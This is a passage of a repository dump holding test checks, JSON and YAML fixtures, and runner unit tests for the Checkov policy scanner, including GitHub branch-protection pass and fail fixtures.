obj["value"] < 2: return CheckResult.FAILED, obj return CheckResult.PASSED check = ValueIsAtLeastTwo() ================================================ FILE: tests/generic_json/checks/complex/__init__.py ================================================ ================================================ FILE: tests/generic_json/checks/object/FooExists.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class FooExists(BaseJsonCheck): def __init__(self): name = "Ensure that a foo object is present" id = "CKV_FOO_2" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf, entity_type): if "foo" in conf: return CheckResult.PASSED return CheckResult.FAILED check = FooExists() ================================================ FILE: tests/generic_json/checks/object/PropHasValue.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class PropHasValue(BaseJsonCheck): def __init__(self): name = ( "Ensure that a foo object has a property named prop with a value of value" ) id = "CKV_FOO_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["foo"], block_type=BlockType.OBJECT, ) def scan_entity_conf(self, conf, entity_type): if "prop" in conf and conf["prop"] == "value": return CheckResult.PASSED return CheckResult.FAILED check = PropHasValue() ================================================ FILE: tests/generic_json/checks/object/__init__.py ================================================ ================================================ FILE: tests/generic_json/checks/result_config/FullEvaluatedKey.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class FullEvaluatedKey(BaseJsonCheck): def __init__(self): name = "Ensure that the right configuration block is returned for an evaluated_key that points to an object" id = "CKV_RESULT_CONFIG_3" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf, entity_type): return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['required_pull_request_reviews/dismissal_restrictions/url'] check = FullEvaluatedKey() ================================================ FILE: tests/generic_json/checks/result_config/NoEvaluatedKey.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class NoEvaluatedKey(BaseJsonCheck): def __init__(self): name = "Ensure that entire conf is returned for empty evaluated key" id = "CKV_RESULT_CONFIG_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf, entity_type): return CheckResult.PASSED check = NoEvaluatedKey() ================================================ FILE: tests/generic_json/checks/result_config/PartialEvaluatedKey.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class PartialEvaluatedKey(BaseJsonCheck): def __init__(self): name = "Ensure that the closest parent configuration block is returned for an evaluated key path that points" \ "to a string" id = "CKV_RESULT_CONFIG_2" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf, entity_type): return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['required_pull_request_reviews/dismissal_restrictions/users'] check = PartialEvaluatedKey() ================================================ FILE: tests/generic_json/checks/result_config/__init__.py ================================================ ================================================ FILE: tests/generic_json/resources/array/fail/allFalse.json ================================================ [ { "bar": { "toggle": false } }, { "bar": { "toggle": false }, "baz": { "toggle": false } } ] ================================================ FILE: tests/generic_json/resources/array/fail/oneFalse.json ================================================ [ { "bar": { "toggle": true } }, { "bar": { "toggle": true }, "baz": { "toggle": false } } ] ================================================ FILE: tests/generic_json/resources/array/pass/pass.json ================================================ [ { "bar": { "toggle": true } }, { "bar": { "toggle": true }, "baz": { "toggle": true } } ] ================================================ FILE: tests/generic_json/resources/complex/fail/fail.json ================================================ { "array_of_objects": [ { "id": 1, "prop_is_array_of_object": [ { "name": "foo", "value": 3 }, { "name": "bar", "value": 0 } ] }, { "id": 2, "prop_is_array_of_object": [ { "name": "baz", "value": 2 } ] } ] } ================================================ FILE: tests/generic_json/resources/complex/pass/pass.json ================================================ { "array_of_objects": [ { "id": 1, "prop_is_array_of_object": [ { "name": "foo", "value": 3 }, { "name": "bar", "value": 2 } ] }, { "id": 2, "prop_is_array_of_object": [ { "name": "baz", "value": 2 } ] } ] } ================================================ FILE: tests/generic_json/resources/object/fail/noFoo.json ================================================ { "bar": "oops" } ================================================ FILE: tests/generic_json/resources/object/fail/noProp.json ================================================ { "foo": { "other": "bar" } } ================================================ FILE: tests/generic_json/resources/object/fail/noValue.json ================================================ { "foo": { "prop": "other" } } ================================================ FILE: tests/generic_json/resources/object/pass/pass.json ================================================ { "foo": { "prop": "value", "otherProp": "otherValue" } } ================================================ FILE: tests/generic_json/resources/result_config/github_config.json ================================================ { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection", "required_status_checks": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks", "contexts": [ "continuous-integration/travis-ci" ], "contexts_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks/contexts", "enforcement_level": "non_admins" }, "enforce_admins": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins", "enabled": true }, "required_pull_request_reviews": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_pull_request_reviews", "dismissal_restrictions": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions", "users": [ { "login": "octocat", "id": 1, "url": "https://api.github.com/users/octocat" } ], "teams": [ { "id": 1, "node_id": "MDQ6VGVhbTE=" } ] }, "dismiss_stale_reviews": true, "require_code_owner_reviews": true, "required_approving_review_count": 2 }, "restrictions": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions", "users": [ { "login": "octocat", "id": 1 } ], "teams": [ { "id": 1, "node_id": "MDQ6VGVhbTE=" } ], "apps": [ { "id": 1, "slug": "octoapp", "node_id": "MDExOkludGVncmF0aW9uMQ==", "owner": { "login": "github", "id": 1 }, "permissions": { "metadata": "read" }, "events": [ "push" ] } ] }, "required_linear_history": { "enabled": true }, "allow_force_pushes": { "enabled": true }, "allow_deletions": { "enabled": true }, "required_conversation_resolution": { "enabled": true } } ================================================ FILE: tests/generic_json/test_runner.py ================================================ import os import unittest from parameterized import parameterized_class from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.json_doc.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.json_doc.registry import registry @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector} ]) class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.JSON) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "fail") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) checks = ["CKV_FOO_1", "CKV_FOO_2"] report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=checks) ) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "fail") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['json'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.JSON: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) report.print_console() def test_runner_object_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "pass") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_FOO_1"]), ) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_array_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "array", "fail") checks_dir = os.path.join(current_dir, "checks", "array") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=["CKV_BARBAZ_1"]) ) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_array_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "array", "pass") checks_dir = os.path.join(current_dir, "checks", "array") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_BARBAZ_1"]), ) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_complex_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "complex", "fail") checks_dir = os.path.join(current_dir, "checks", "complex") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=["CKV_COMPLEX_1"]) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_complex_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "complex", "pass") checks_dir = os.path.join(current_dir, "checks", "complex") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_COMPLEX_1"]), ) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_focused_result_configuration_no_evaluated_key(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "result_config") checks_dir = os.path.join(current_dir, "checks", "result_config") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_RESULT_CONFIG_1"]), ) self.assertEqual(len(report.passed_checks), 1) # file_line_range should cover the entire file range for empty evaluated_key path self.assertEqual(report.passed_checks[0].file_line_range, [1, 81]) report.print_console() def test_focused_result_configuration_full_evaluated(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "result_config") checks_dir = os.path.join(current_dir, "checks", "result_config") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_RESULT_CONFIG_2"]), ) self.assertEqual(len(report.passed_checks), 1) # file_line_range should cover the object that the evaluated_key path points at self.assertEqual(report.passed_checks[0].file_line_range, [19, 24]) report.print_console() def test_focused_result_configuration_partial_evaluated_key(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "result_config") checks_dir = os.path.join(current_dir, "checks", "result_config") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_RESULT_CONFIG_3"]), ) self.assertEqual(len(report.passed_checks), 1) # file_line_range should cover the parent object of the key that the evaluated_key path points at self.assertEqual(report.passed_checks[0].file_line_range, [17, 31]) report.print_console() def test_get_result_configuration_for_list_type(self): entity_conf = [{'file_name': 'branch_protection_rules', 'org_complementary_metadata': {}, 'repo_complementary_metadata': {}}] evaluated_keys = ['data/organization/ipAllowListForInstalledAppsEnabledSetting'] result_config = registry.get_result_configuration(evaluated_keys, entity_conf) self.assertEqual(result_config, entity_conf) def test_get_result_configuration_for_dict_type(self): entity_conf = {'required_pull_request_reviews': {'dismiss_stale_reviews': False}, 'CKV_METADATA': {'file_name': 'pass', 'org_complementary_metadata': {}, 'repo_complementary_metadata': {}}} evaluated_keys = ['required_pull_request_reviews/dismiss_stale_reviews'] result_config = registry.get_result_configuration(evaluated_keys, entity_conf) self.assertEqual(result_config, {'dismiss_stale_reviews': False}) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/generic_yaml/__init__.py ================================================ ================================================ FILE: tests/generic_yaml/checks/__init__.py ================================================ ================================================ FILE: tests/generic_yaml/checks/array/BarAndBazToggleIsTrue.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.yaml_doc.base_yaml_check import BaseYamlCheck from checkov.yaml_doc.enums import BlockType class BarAndBazToggleIsTrue(BaseYamlCheck): def __init__(self): name = "A bar should have toggle set to true" id = "CKV_BARBAZ_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["bar", "baz"], block_type=BlockType.ARRAY ) def scan_entity_conf(self, conf, entity_type): if "toggle" in conf and conf["toggle"]: return CheckResult.PASSED return CheckResult.FAILED check = BarAndBazToggleIsTrue() ================================================ FILE: tests/generic_yaml/checks/array/__init__.py ================================================ ================================================ FILE: tests/generic_yaml/checks/complex/ValueIsAtLeastTwo.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.yaml_doc.base_yaml_check import BaseYamlCheck from checkov.yaml_doc.enums import BlockType class ValueIsAtLeastTwo(BaseYamlCheck): def __init__(self): name = "Ensure that an object has a value >= 2" id = "CKV_COMPLEX_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["prop_is_array_of_object"], block_type=BlockType.ARRAY, path="array_of_objects" ) def scan_entity_conf(self, conf, entity_type): for obj in conf: if obj["value"] < 2: return CheckResult.FAILED, obj return CheckResult.PASSED check = ValueIsAtLeastTwo() ================================================ FILE: tests/generic_yaml/checks/complex/__init__.py ================================================ ================================================ FILE: tests/generic_yaml/checks/object/FooExists.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.yaml_doc.base_yaml_check import BaseYamlCheck from checkov.yaml_doc.enums import BlockType class FooExists(BaseYamlCheck): def __init__(self): name = "Ensure that a foo object is present" id = "CKV_FOO_2" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf, entity_type): if "foo" in conf: return CheckResult.PASSED return CheckResult.FAILED check = FooExists() ================================================ FILE: tests/generic_yaml/checks/object/PropHasValue.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.yaml_doc.base_yaml_check import BaseYamlCheck from checkov.yaml_doc.enums import BlockType class PropHasValue(BaseYamlCheck): def __init__(self): name = ( "Ensure that a foo object has a property named prop with a value of value" ) id = "CKV_FOO_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["foo"], block_type=BlockType.OBJECT, ) def scan_entity_conf(self, conf, entity_type): if "prop" in conf and conf["prop"] == "value": return CheckResult.PASSED return CheckResult.FAILED check = PropHasValue() ================================================ FILE: tests/generic_yaml/checks/object/__init__.py ================================================ ================================================ FILE: tests/generic_yaml/resources/array/fail/allFalse.yaml ================================================ - bar: toggle: false - bar: toggle: false baz: toggle: false ================================================ FILE: tests/generic_yaml/resources/array/fail/oneFalse.yaml ================================================ - bar: toggle: true - bar: toggle: true baz: toggle: false ================================================ FILE: tests/generic_yaml/resources/array/pass/pass.yaml ================================================ - bar: toggle: true - bar: toggle: true baz: toggle: true ================================================ FILE: tests/generic_yaml/resources/complex/fail/fail.yaml ================================================ array_of_objects: - id: 1 prop_is_array_of_object: - name: foo value: 3 - name: bar value: 0 - id: 2 prop_is_array_of_object: - name: baz value: 2 ================================================ FILE: tests/generic_yaml/resources/complex/pass/pass.yaml ================================================ array_of_objects: - id: 1 prop_is_array_of_object: - name: foo value: 3 - name: bar value: 2 - id: 2 prop_is_array_of_object: - name: baz value: 2 ================================================ FILE: tests/generic_yaml/resources/object/fail/noFoo.yaml ================================================ bar: oops ================================================ FILE: tests/generic_yaml/resources/object/fail/noProp.yaml ================================================ foo: other: bar ================================================ FILE: tests/generic_yaml/resources/object/fail/noValue.yaml ================================================ foo: prop: other ================================================ FILE: tests/generic_yaml/resources/object/pass/pass.yaml ================================================ foo: prop: value otherProp: otherValue ================================================ FILE: tests/generic_yaml/resources/object/skip/skip.yaml ================================================ foo: prop: value # checkov:skip=CKV_FOO_1: test justification otherProp: otherValue ================================================ FILE: tests/generic_yaml/test_runner.py ================================================ import os import unittest from parameterized import parameterized_class from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.runner import Runner from checkov.yaml_doc.registry import registry @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector} ]) class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.YAML) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "fail") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) checks = ["CKV_FOO_1", "CKV_FOO_2"] report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=checks) ) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "fail") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['yaml'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.YAML: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) report.print_console() def test_runner_object_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "pass") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_FOO_1"]), ) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_object_skip_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "object", "skip") checks_dir = os.path.join(current_dir, "checks", "object") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_FOO_1", "CKV_FOO_2"]), ) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(len(report.skipped_checks), 1) report.print_console() def test_runner_array_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "array", "fail") checks_dir = os.path.join(current_dir, "checks", "array") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=["CKV_BARBAZ_1"]) ) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_array_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "array", "pass") checks_dir = os.path.join(current_dir, "checks", "array") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_BARBAZ_1"]), ) self.assertEqual(len(report.passed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_complex_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "complex", "fail") checks_dir = os.path.join(current_dir, "checks", "complex") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework='all', checks=["CKV_COMPLEX_1"]) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_complex_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "complex", "pass") checks_dir = os.path.join(current_dir, "checks", "complex") runner = Runner(db_connector=self.db_connector()) report = runner.run( root_folder=valid_dir_path, external_checks_dir=[checks_dir], runner_filter=RunnerFilter(framework="all", checks=["CKV_COMPLEX_1"]), ) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() if __name__ == "__main__": unittest.main() ================================================ FILE: tests/github/__init__.py ================================================ ================================================ FILE: tests/github/checks/__init__.py ================================================ ================================================ FILE: tests/github/checks/branch_security/GithubBranchDisallowDeletions/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchDisallowDeletions/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": true }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchDisallowDeletions/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissStaleReviews/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissStaleReviews/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissStaleReviews/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": true, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissalRestrictions/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissalRestrictions/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1, "dismissal_restrictions": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions", "users_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions/users", "teams_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions/teams", "users": [ { "login": "deadpool", "id": 12345, "node_id": "12345", "avatar_url": "https://avatars.githubusercontent.com/", "gravatar_id": "", "url": "https://api.github.com/users/deadpool", "html_url": "https://github.com/deadpool", "followers_url": "https://api.github.com/users/deadpool/followers", "following_url": "https://api.github.com/users/deadpool/following{/other_user}", "gists_url": "https://api.github.com/users/deadpool/gists{/gist_id}", "starred_url": "https://api.github.com/users/deadpool/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/deadpool/subscriptions", "organizations_url": "https://api.github.com/users/deadpool/orgs", "repos_url": "https://api.github.com/users/deadpool/repos", "events_url": "https://api.github.com/users/deadpool/events{/privacy}", "received_events_url": "https://api.github.com/users/deadpool/received_events", "type": "User", "site_admin": false } ], "teams": [], "apps": [] } }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchDismissalRestrictions/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, 